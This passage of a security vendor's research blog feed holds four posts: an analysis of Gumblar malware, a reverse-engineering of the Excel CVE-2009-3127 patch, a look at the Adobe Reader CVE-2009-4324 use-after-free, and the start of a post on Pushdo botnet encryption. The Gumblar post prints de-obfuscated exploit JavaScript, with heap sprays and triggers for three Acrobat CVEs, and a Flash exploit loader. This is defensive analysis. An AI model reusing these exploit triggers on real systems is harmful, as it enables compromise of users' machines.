<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/Gumblar1.bmp"><img class="alignnone size-full wp-image-893" src="http://blog.fortinet.com/wp-content/uploads/2010/01/Gumblar1.bmp" alt="Gumblar1" width="435" height="290" /></a></p>
<p>The following is the de-obfuscated code stored in the file title:</p>
<p><em>[...]<br />
try{var qiQG=app.viewerVersion.toString(); qiQG=qiQG.charAt(0)*100+qiQG.charAt(2)*10+qiQG.charAt(4);</em><em>if((qiQG&gt;=800)&amp;&amp;(qiQG&lt;=812)){<br />
var PYI=unescape(&#8221;%u0A0A%u0A0A&#8221;);var TAq=20;var QUI=TAq+Leje.length;while(PYI.length&lt;QUI)PYI+=PYI;var VcT=PYI.substring(0,QUI);</em><em>var Zq3G=PYI.substring(0,PYI.length-QUI);<br />
while(Zq3G.length+QUI&lt;0&#215;60000)Zq3G=Zq3G+Zq3G+VcT;for(qq8I=0;qq8I&lt;1200;qq8I++){dHH[qq8I]=Zq3G+Leje}</em><em>var O07=&#8221;12999999999999999999&#8243;;for(KRv=0;KRv&lt;276;KRv++)O07+=&#8221;8&#8243;;<br />
util.printf(&#8221;%45000f&#8221;,O07);<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-exploit CVE-2008-2992</strong></em><em><br />
}</em><em><br />
if((qiQG&lt;710)||((qiQG&gt;800)&amp;&amp;(qiQG&lt;812))){</em><em>VLog(); var uqG=unescape(&#8221;%u0c0c%u0c0c&#8221;);while(uqG.length&lt;44952)uqG+=uqG;</em><br />
<em>this.collabStore=Collab.collectEmailInfo({subj:&#8221;",msg:uqG});<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;exploit CVE-2008-0655</strong></em><em><br />
}<br />
if((qiQG&lt;=900)&amp;&amp;(qiQG!=711)&amp;&amp;(qiQG!=813)&amp;&amp;app.doc.Collab.getIcon)</em><em><br />
{</em><em>VLog(); var xkSfB=unescape(&#8221;%09&#8243;);</em><em>while(xkSfB.length&lt;0&#215;4000){xkSfB+=xkSfB;<br />
}</em><em>xkSfB=&#8221;N.&#8221;+xkSfB;<br />
app.doc.Collab.getIcon(xkSfB);<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-exploit CVE-2009-0927</strong></em><em><br />
}<br />
}catch(e){}</em></p>
<p>As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers.</p>
<p><strong>2. Flash Exploit Example</strong></p>
<p>Gumblar uses a similar run-time packer as the one discussed in <a id="ggg9" title="Flash Mob Episode II: Attack of the Clones" href="http://blog.fortinet.com/flash-mob-episode-ii-attack-of-the-clones/">Flash Mob Episode II: Attack of the Clones</a>, thus I will only address the differences here. Again, I had to summon <a href="http://www.swftools.org/">swfdump</a> because <a href="https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf&amp;jumpid=go/swfscan">swfscan</a> failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main:</p>
<p><em>constructor * &lt;q&gt;[public]::Main=Main/Main()(0 params, 0 optional)<br />
</em><em>[stack:4 locals:3 scope:10-15 flags: need_activation]</em></p>
<p><em>slot 4: var &lt;q&gt;[packageinternal]::loader:&lt;q&gt;[public]flash.display::Loaderslot 3: var &lt;q&gt;[packageinternal]::i:&lt;q&gt;[public]::Number</em><em>slot 2: var &lt;q&gt;[packageinternal]::bytes:&lt;q&gt;[public]flash.utils::ByteArray</em><em>slot 1: var &lt;q&gt;[packageinternal]::SWF1:&lt;q&gt;[public]::Class<br />
</em><em>{<br />
</em><em>[...]<br />
00018) + 1:2 getlex &lt;q&gt;[public]::Main_SWF1<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-What&#8217;s this?</strong></em></p>
<p><em>00019) + 2:2 coerce &lt;q&gt;[public]::Class</em></p>
<p><em>00020) + 2:2 setslot 1</em></p>
<p><em>[...]</em></p>
<p><em>00024) + 2:2 getslot 1</em></p>
<p><em>00025) + 2:2 construct 0 params</em></p>
<p><em>00026) + 2:2 getlex &lt;q&gt;[public]flash.utils::ByteArray</em></p>
<p><em>00027) + 3:2 astypelate</em></p>
<p><em>00028) + 2:2 coerce &lt;q&gt;[public]flash.utils::ByteArray<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Converted to ByteArray</strong></em></p>
<p><em>00029) + 2:2 setslot 2<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Encoded flash data</strong></em></p>
<p><em>[...]</em></p>
<p><em>00032) + 1:2 pushbyte 0</em></p>
<p><em>00033) + 2:2 convert_d</em></p>
<p><em>00034) + 2:2 setslot 3<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Counter i</strong></em></p>
<p><em>00035) + 0:2 jump -&gt;58<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Go to test condition of while loop</strong></em></p>
<p><em>00036) + 0:2 label<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Loop Start</strong></em></p>
<p><em>[...]</em></p>
<p><em>00043) + 3:2 getslot 2</em></p>
<p><em>00044) + 3:2 getscopeobject 1</em></p>
<p><em>00045) + 4:2 getslot 3</em></p>
<p><em>00046) + 4:2 getproperty &lt;l,multi&gt;{[private]Main,&#8230;[Truncated]}<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Get ByteArray[i]</strong></em></p>
<p><em>00047) + 3:2 pushbyte 61<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Decoding key</strong></em></p>
<p><em>00048) + 4:2 bitxor<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Decoding algorithm:XOR </strong></em></p>
<p><em>00049) + 3:2 setproperty &lt;l,multi&gt;{[private]Main,&#8230;[Truncated]}<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Store decoded flash</strong></em></p>
<p><em>[...]</em></p>
<p><em>00059) + 1:2 getslot 3</em></p>
<p><em>00060) + 1:2 getscopeobject 1</em></p>
<p><em>00061) + 2:2 getslot 2</em></p>
<p><em>00062) + 2:2 getproperty &lt;q&gt;[public]::length</em></p>
<p><em>00063) + 2:2 iflt -&gt;36<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Loop if counter i is lower than length</strong></em></p>
<p><em>00064) + 0:2 debugline 23</em></p>
<p><em>00065) + 0:2 getscopeobject 1</em></p>
<p><em>00066) + 1:2 findpropstrict &lt;q&gt;[public]flash.display::Loader</em></p>
<p><em>00067) + 2:2 constructprop &lt;q&gt;[public]flash.display::Loader, 0 params</em></p>
<p><em>00068) + 2:2 coerce &lt;q&gt;[public]flash.display::Loader</em></p>
<p><em>00069) + 2:2 setslot 4<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Initialize a flash.display::Loader to load decoded flash</strong></em></p>
<p><em>[...]</em></p>
<p><em>00086) + 1:2 getslot 4</em></p>
<p><em>00087) + 1:2 getscopeobject 1</em></p>
<p><em>00088) + 2:2 getslot 2</em></p>
<p><em>00089) + 2:2 callpropvoid &lt;q&gt;[public]::loadBytes, 1 params<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;Load decoded flash</strong></em></p>
<p><em>[...]</em></p>
<p><em>}</em></p>
<p>As can be seen above, the same decryption<br />
algorithm is used: simple XORing of the payload with a key. But wait a minute, where is the encoded flash data? It&#8217;s nowhere to be found in the ActionScript part. What is &#8220;Main_SWF1&#8243;? Let&#8217;s search outside of ActionScript, in the swfdump output:</p>
<p><em>[057]     10350 DEFINEBINARY defines id 0001<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;DEFINEBINARY Tag(0&#215;57)</strong></em></p>
<p><em>[...]</em></p>
<p><em>[04c]        21 SYMBOLCLASS</em></p>
<p><em>exports 0001 as &#8220;Main_SWF1&#8243;<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Export Binary data as &#8220;Main_SWF1&#8243;</strong></em></p>
<p>The encoded flash data is stored in tag DEFINEBINARY!</p>
<p><em><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/Gumblar2.bmp"><img class="alignnone size-full wp-image-894" src="http://blog.fortinet.com/wp-content/uploads/2010/01/Gumblar2.bmp" alt="Gumblar2" width="555" height="315" /></a></em></p>
<p>The decoded flash is the same as F2.swf, as discussed in <a id="zjs6" title="Flash Mob Episode II: Attack of the Clones" href="http://blog.fortinet.com/flash-mob-episode-ii-attack-of-the-clones/">Flash Mob Episode II: Attack of the Clones</a>. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found!</p>
<p>As a conclusion, Gumblar hides its weapons carefully: Sitting in &#8220;resources&#8221; zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=892" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/inside-gumblar-looking-for-the-trigger/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CVE-2009-3127: Are we safe now?</title>
		<link>http://blog.fortinet.com/cve-2009-3127-are-we-safe-now/</link>
		<comments>http://blog.fortinet.com/cve-2009-3127-are-we-safe-now/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 20:58:09 +0000</pubDate>
		<dc:creator>Bing Liu</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cve-2009-3127]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[Patch]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=858</guid>
		<description><![CDATA[Microsoft released bulletin MS09-067 on Nov 10, 2009. Same as in 2008, this last bulletin for Microsoft Office Excel in 2009 gives a total number of 17 vulnerabilities for this popular product. As the biggest contributor, Fortinet is credited for seven of these vulnerabilities in 2009. Our topic today is the vulnerability referred as CVE-2009-3127. [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft released bulletin <a id="nf4p" title="MS09-067" href="http://www.microsoft.com/technet/security/Bulletin/MS09-067.mspx">MS09-067</a> on Nov 10, 2009. Same as in 2008, this last bulletin for Microsoft Office Excel in 2009 gives a total number of 17 vulnerabilities for this popular product. As the biggest contributor, Fortinet is credited for seven of these vulnerabilities in 2009. Our topic today is the vulnerability referred as <a id="lvhd" title="CVE-2009-3127" href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3127">CVE-2009-3127</a>. It is one of the eight vulnerabilities that were fixed in Bulletin MS09-067. I found this vulnerability by fuzzing (automatic crafted files creation) in April and when I analyzed it <span style="background-color: #ffffff">I found it is different from other vulnerabilities and so does the patch from Microsoft: the patched Excel is still crashing when proof of concept file is opened! What&#8217;s going on!? Does the patch work? You will find the answer in this blog post. </span>My test environment is Microsoft Office 2003 SP3 under Windows XP SP3. The patch updates the Excel.exe file from version 11.0.8307.0 to 11.0.8316.0.</p>
<p>First we need to know what&#8217;s the <a id="sxni" title="CVE-2009-3127" href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3127">CVE-2009-3127</a> is. What causes this vulnerability? The following is cited from bulletin <a id="exci" title="MS09-067" href="http://www.microsoft.com/technet/security/Bulletin/MS09-067.mspx">MS09-067</a>:<em></p>
<p>&#8220;The vulnerability exists in the way that Microsoft Office Excel parses<br />
the Excel spreadsheet file format when opening a specially crafted<br />
Excel spreadsheet.</em><em>&#8220;</em></p>
<p>The spreadsheet format mentioned above is Excel Binary File Format (<a id="uc4s" title=".xls" href="http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/%5BMS-XLS%5D.pdf">.xls</a>). Regarding CVE-2009-3127, when Excel parses a crafted record SXDB(0xC6) in pivot cache stream (refer to page 53 of <a id="x7yg" title="MS-XLS" href="http://download.microsoft.com/download/2/4/8/24862317-78F0-4C4B-B355-C7B2C1D997DB/%5BMS-XLS%5D.pdf">MS-XLS</a>), if member cfdbdb is greater than cfdbTot (refer to the highlighted value in Figure 1), it will crash or execute code if the file is well-crafted. </p>
<p><a href="http://blog.fortinet.com/wp-content/uploads/2010/01/d8bjwg5_10hmns7nhs_b.bmp"><img class="alignnone size-full wp-image-859" src="http://blog.fortinet.com/wp-content/uploads/2010/01/d8bjwg5_10hmns7nhs_b.bmp" alt="d8bjwg5_10hmns7nhs_b" width="466" height="320" /></a></p>
<p>Figure 1: crafted Excel file details</p>
<p>You may think this vulnerability is due to a lack of<br />
sufficient sanitization on SXDB record. Let&#8217;s see the associated code in unpatched Excel.exe (11.0.8307.0). The crafted SXDB record is process at offset 0&#215;301B5926.</p>
<p><em>.text:301B5926 sub_301B5926    proc near               ; CODE XREF: sub_300E45E9+D1779p<br />
.text:301B5926<br />
.text:301B5926                 push    ebp<br />
.text:301B5927                 lea     ebp, [esp-304h]<br />
.text:301B592E                 sub     esp, 384h<br />
&#8230;<br />
.text:301B5AFC                 push    eax<br />
.text:301B5AFD                 push    14h<br />
.text:301B5AFF                 push    0C6h<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-expected record type: SXDB(0xC6)</strong><br />
.text:301B5B04                 push    edi<br />
.text:301B5B05                 call    sub_300DA264 <strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Read in record SXDB, edi point to the record data</strong><br />
.text:301B5B0A                 test    eax, eax<br />
.text:301B5B0C                 mov     [ebp+304h+var_33C], eax<br />
.text:301B5B0F                 js      loc_30274DA9<br />
.text:301B5B15                 mov     esi, [ebp+304h+var_330]<strong>&#8212;&#8212;&#8212;&#8212;-esi point to structure created for this pivot cache stream</strong><br />
.text:301B5B18                 mov     [esi], ebx<br />
.text:301B5B1A                 movsx   eax, word ptr [edi+8]<br />
.text:301B5B1E                 mov     [esi+10h], eax<br />
.text:301B5B21                 mov     eax, [edi]<br />
.text:301B5B23                 mov     [esi+14h], eax<br />
.text:301B5B26                 movsx   eax, word ptr [edi+0Ah]<br />
.text:301B5B2A                 mov     [esi+24h], eax<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-store cfdbdb</strong><br />
.text:301B5B2D                 movsx   eax, word ptr [edi+0Ch]<br />
.text:301B5B31                 mov     [esi+28h], eax<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-store cfdbTot</strong><br />
&#8230;<br />
.text:301B5C19                 mov     eax, [esi+24h]<br />
.text:301B5C1C                 cmp     eax, [esi+28h]<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-compare cfdbdb with cfdbTot</strong><br />
.text:301B5C1F                 ja      loc_301B5CEC<br />
&#8230;<br />
.text:301B5CEC                 push    ebx<br />
.text:301B5CED                 push    ebx<br />
.text:301B5CEE                 push    esi<br />
.text:301B5CEF                 call    sub_30602D11<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;clear the structure pointed by esi!!!</strong></em></p>
<p>As you can see, cfdbdb value is compared with cfdbToc value and the associate structure (remember this structure, we will refer to it later) is cleared if it is illegal. This is the unpatched version! It is not vulnerable. Let&#8217;s see whether the patched version improved this function. The function moves to address 301ABE5A in version 11.0.8316.0 and nothing changed! Now it is clear that the function handling SXDB record is not responsible for this vulnerability. But how cfdbdb can be the attack vector of this vulnerability?</p>
<p>Let&#8217;s see the real vulnerable code in unpatched Excel.exe(11.0.8307.0). The record SXVI(0xB2) in WorkSheet is processed at offset 0&#215;301C0C2B</p>
<p><em>.text:301C0C2B sub_301C0C2B    proc near               ; CODE XREF: sub_301C0F83+E9p<br />
.text:301C0C2B<br />
.text:301C0C2B                 push    ebp<br />
.text:301C0C2C                 mov     ebp, esp<br />
&#8230;<br />
.text:301C0C8F                 push    8<br />
.text:301C0C91                 push    0B2h<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;expected record type: SXVI(0xB2)</strong><br />
.text:301C0C96                 push    edi<br />
.text:301C0C97                 call    sub_300DA264 <strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Read in  record SXVI</strong><br />
&#8230;<br />
.text:301C0D4C                 test    word ptr [esi], 8800h<br />
.text:301C0D51                 jnz     loc_302767F6<br />
&#8230;<br />
.text:302767F6 loc_302767F6:                           ; CODE XREF: sub_301C0C2B+126j<br />
.text:302767F6                 movsx   eax, word ptr [esi+4]<br />
.text:302767FA                 push    eax<br />
.text:302767FB                 push    [ebp+arg_18]<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;The SXVD(0xB1) record number</strong><br />
.text:302767FE                 call    sub_301B0A05<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-The real vulnerable function!</strong><br />
.text:30276803                 test    byte ptr [esi+1], 8<br />
.text:30276807                 jz      short loc_3027680D<br />
.text:30276809                 or      byte ptr [eax+9], 8<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-eax register is controllable by changing SXVD(0xB1) record numbers!</strong></em></p>
<p>As I comment inline, function at 0&#215;301B0A05 is responsible for this vulnerability:</p>
<p><em>.text:301B0A05 sub_301B0A05    proc near               ; CODE XREF: sub_301B0A3F+E3p<br />
.text:301B0A05<br />
.text:301B0A05                 mov     ecx, [esp+arg_0]<br />
.text:301B0A09                 mov     eax, dword_30896958<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;The structure that have been cleared in 301B5926,remember it?</strong><br />
.text:301B0A0E                 cmp     ecx, [eax+24h]<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-compare ecx=0&#215;89 with [eax+24] which is cfdbdb (0 since the structure was cleared)</strong><br />
.text:301B0A11                 jge     loc_3029425C<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-go to wrong path and the return result is controllable</strong><br />
&#8230;<br />
.text:3029425C                 mov     edx, [eax+2Ch]<br />
.text:3029425F                 imul    ecx, 1E4h<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;SXVD(0xB1) record numbers</strong><br />
.text:30294265                 mov     eax, [esp+arg_4]<br />
.text:30294269                 inc     eax<br />
.text:3029426A                 imul    eax, 0Ch<br />
.text:3029426D                 add     eax, [edx+ecx+1A8h]<br />
.text:30294274                 jmp     locret_301B0A3C</em></p>
<p>Now, we are clear about this vulnerability: The function processing SXDB record cleared the structure when it found malformed SXDB record, but the code using this structure doesn&#8217;t handle this case. The cooperation of the producer and consumer failed.</p>
<p>Let&#8217;s see how Microsoft improves the function at offset 0&#215;301B0A05 in the patched version. The function moved to address 301A7431.</p>
<p><em>.text:301A7431 sub_301A7431    proc near               ; CODE XREF: sub_301A7474+E3p<br />
.text:301A7431<br />
.text:301A7431                 mov     ecx, [esp+arg_0]<br />
.text:301A7435                 mov     eax, dword_308960A8<br />
.text:301A743A                 cmp     ecx, [eax+28h]<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<span style="background-color: #ffffff">compare ecx=0&#215;89 with [eax+28] which is cfdbTot (0 since the structure was cleared)</span></strong><br />
.text:301A743D                 jnb     loc_30294818<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;patch point, jump to address </strong></em><strong><em>30294818</em></strong><em><strong> in our case</strong><br />
.text:301A7443                 cmp     ecx, [eax+24h]<br />
.text:301A7446                 jge     loc_3029481F<br />
&#8230;<br />
.text:30294818                 xor     eax, eax<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-clear eax</strong><br />
.text:3029481A                 jmp     locret_301A7471</p>
<p>Without handling this 0 return value, Excel crash at address 30276DC1:</p>
<p>.text:30276DB6                 call    sub_301A7431<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;return 0</strong><br />
.text:30276DBB                 test    byte ptr [esi+1], 8<br />
.text:30276DBF                 jz      short loc_30276DC5<br />
.text:30276DC1                 or      byte ptr [eax+9], 8<strong>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-Excel crashes with an access violation exception, the crash is non-exploitable</strong></em></p>
<p>The patch is very simple. It just adds one more validation for cfdbdb when handling SXVI record and return zero if the validation fail. Excel doesn&#8217;t handle this zero value smoothly and crashes again. This is acceptable for Excel since the crash becomes non-exploitable. As a conclusion, the patch for CVE-2009-3127 is unshaped but we are safe now.</p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=858" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/cve-2009-3127-are-we-safe-now/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A quick look within the recent PDF zero day</title>
		<link>http://blog.fortinet.com/a-quick-look-within-the-recent-pdf-zero-day/</link>
		<comments>http://blog.fortinet.com/a-quick-look-within-the-recent-pdf-zero-day/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 21:27:29 +0000</pubDate>
		<dc:creator>Hfli</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[CVE-2009-4324]]></category>
		<category><![CDATA[haifei li]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[javascript zero day]]></category>
		<category><![CDATA[pdf vulnerabilities]]></category>
		<category><![CDATA[pdf zero day]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=847</guid>
		<description><![CDATA[The recent PDF Javascript zero-day (CVE-2009-4324) vulnerability has been making quite some noise lately &#8211; both in the media and in the wild. The nature of the vulnerability exploited by the samples in the wild is now clearer: It is a use-after-free vulnerability. Here is a peek at the vulnerable code, to provide a base [...]]]></description>
			<content:encoded><![CDATA[<p>The recent PDF Javascript <a id="nw94" title="http://www.adobe.com/support/security/advisories/apsa09-07.html" href="http://www.adobe.com/support/security/advisories/apsa09-07.html" target="_blank">zero-day</a> (CVE-2009-4324) vulnerability has been making quite some noise lately &#8211; both in the media and in the wild. The nature of the vulnerability exploited by the samples in the wild is now <a title="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7881/entry/modules/exploits/windows/fileformat/adobe_media_newplayer.rb" href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/7881/entry/modules/exploits/windows/fileformat/adobe_media_newplayer.rb" target="_blank">clearer</a>: It is a use-after-free vulnerability. Here is a peek at the vulnerable code, to provide a base for future research and mitigation.</p>
<p>The incriminated code handling the &#8220;doc.media&#8221; object is in the file &#8220;plugins\Multimedia.api&#8221;; here, when function &#8220;newPlayer()&#8221; is being called, a block of 0&#215;4C bytes is allocated on the heap, at the first address highlighted in red on figure 1 below:</p>
<div id="attachment_848" class="wp-caption alignnone" style="width: 548px"><a href="http://blog.fortinet.com/wp-content/uploads/2009/12/pic1.PNG"><img class="size-full wp-image-848" src="http://blog.fortinet.com/wp-content/uploads/2009/12/pic1.PNG" alt="pic1" width="538" height="419" /></a><p class="wp-caption-text">Figure 1: call to malloc()</p></div>
<p>Then it goes to free this 0&#215;4C bytes long block &#8211; as can be seen on figure 2 below &#8211; because of the unexpected input fed by the malicious Javascript code.</p>
<div id="attachment_849" class="wp-caption alignnone" style="width: 548px"><a href="http://blog.fortinet.com/wp-content/uploads/2009/12/pic2.PNG"><img class="size-full wp-image-849" src="http://blog.fortinet.com/wp-content/uploads/2009/12/pic2.PNG" alt="pic2" width="538" height="419" /></a><p class="wp-caption-text">Figure 2: free()</p></div>
<p>However, when the Javascript interpretation ends (normally, or because of any other actions bringing the same effect, such as &#8220;util.printd()&#8221; in the sample), the memory of this freed block is used again:</p>
<div id="attachment_850" class="wp-caption alignnone" style="width: 548px"><a href="http://blog.fortinet.com/wp-content/uploads/2009/12/pic3.PNG"><img class="size-full wp-image-850" src="http://blog.fortinet.com/wp-content/uploads/2009/12/pic3.PNG" alt="pic3" width="538" height="419" /></a><p class="wp-caption-text">Figure 3: Use after free!</p></div>
<p>As we can see on figure 3, the first pointer in the previously-freed block is stored in edx for the purpose of being used as a vtable pointer (aka vpointer). Then, the function at index 0&#215;04 in the vtable is called (highlighted address on Figure 3). In other words, the EIP is set to [[lpBlock] + 4].</p>
<p>Therefore, successful exploitation lays in the attacker&#8217;s ability to control the first DWORD value in the block, so as to have it point to his/her own crafted &#8220;vtable&#8221;, and branch to his/her own &#8220;vfunction&#8221; (the shellcode). The easiest way we can think of to achieve this is to insert some PDF Javascripts; this hopefully will reallocate memory at the same spot as the freed block, because the Javascript engine uses the same heap. This is the approach implemented in the sample seen in the wild.</p>
<p>As the vendor&#8217;s patch is currently planned to be available on January 12, 2010 after Christmas and New Year, Fortinet customers should ensure that your IPS and AV definitions are up-to-date, we released updates to detect the exploits on Dec 15th, 2009 (more details can be found in our FortiGuard Advisory <a id="nayy" title="http://www.fortiguard.com/advisory/FGA-2009-47.html" href="http://www.fortiguard.com/advisory/FGA-2009-47.html" target="_blank">FGA-2009-47</a>).</p>
<p><strong>Guillaume Lovet contributed to this post</strong></p>
 <img src="http://blog.fortinet.com/wp-content/plugins/feed-statistics.php?view=1&post_id=847" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/a-quick-look-within-the-recent-pdf-zero-day/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Decrypting Pushdo Botnet Messages</title>
		<link>http://blog.fortinet.com/decrypting-pushdo-botnet-messages/</link>
		<comments>http://blog.fortinet.com/decrypting-pushdo-botnet-messages/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 19:05:59 +0000</pubDate>
		<dc:creator>DMacDonald</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[pushdo]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=839</guid>
		<description><![CDATA[While looking at some Pushdo botnet messages recently, I noticed a repeating pattern in the data. Here is an example, taken from an area where the pattern is most obvious:
0340  13 63 cc 69 13 63 cc 69 13 63 cc 69 53 63 cc 2b   .c.i.c.i.c.iSc.+0350  13 63 cc 69 13 63 cc 69 [...]]]></description>
			<content:encoded><![CDATA[<p>While looking at some Pushdo botnet messages recently, I noticed a repeating pattern in the data. Here is an example, taken from an area where the pattern is most obvious:</p>
<p><span style="font-family: Courier New;">0340  <strong>13 63 cc 69</strong> 13 63 cc 69 13 63 cc 69 53 63 cc 2b   .c.i.c.i.c.iSc.+</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0350  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i</span><br style="font-family: Courier New;" /><span style="font-family: Courier New;">0360  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i</span></p>
<p>This looked to me like a flaw in the encryption that potentially could be used for detection purposes. It might even be possible to automatically break the encryption.</p>
<p>It is not hard to guess the cause of this pattern. The data was encrypted with a four byte key, and what we see here is the result of encrypting a block of nulls. Null blocks are an expected part of most program files and not unusual in data files, and this Pushdo message certainly contains both. Looking around in the message data, we can see that even where non-null data is mixed in, the underlying pattern can be recognized.</p>
